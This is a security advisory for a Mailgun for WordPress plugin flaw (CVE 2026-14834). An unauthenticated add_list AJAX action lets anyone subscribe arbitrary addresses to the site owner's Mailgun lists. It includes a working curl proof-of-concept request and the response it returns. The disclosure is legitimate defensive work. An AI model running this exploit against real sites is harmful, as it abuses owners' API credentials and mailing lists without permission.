Mailgun for WordPress < 2.2.1 – Unauthenticated Arbitrary Mailgun List Subscription via add_list AJAX | CVE 2026-14834

Description

The plugin does not perform any capability or nonce check on an unauthenticated AJAX action that adds subscribers to the site owner's configured email service mailing lists, allowing unauthenticated attackers to enrol arbitrary email addresses into those lists using the owner's stored API credentials.

Proof of Concept

Prerequisites: the Mailgun plugin is active and configured with a Mailgun API key and region (its normal operating state). No authentication required.

Subscribe an arbitrary address to a list. The list address is exposed directly in the plugin's public subscribe-widget HTML when the widget is placed, otherwise it follows the guessable <name>@mg.<domain> pattern:

curl -sS -X POST 'https://victim.example/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=add_list' \
  --data-urlencode 'name=Attacker' \
  --data-urlencode 'email=victim@evil.example' \
  --data-urlencode 'addresses[newsletter@mg.victim.example]=1'

Response on success: {"status":200,"message":"Mailing list member has been created"}

Server-side the plugin issues POST https://api.mailgun.net/v3/lists/newsletter@mg.victim.example/members signed with the site owner's stored Mailgun API key. Multiple lists can be targeted in one request by appending more addresses[<list>]=1 entries (one outbound call each).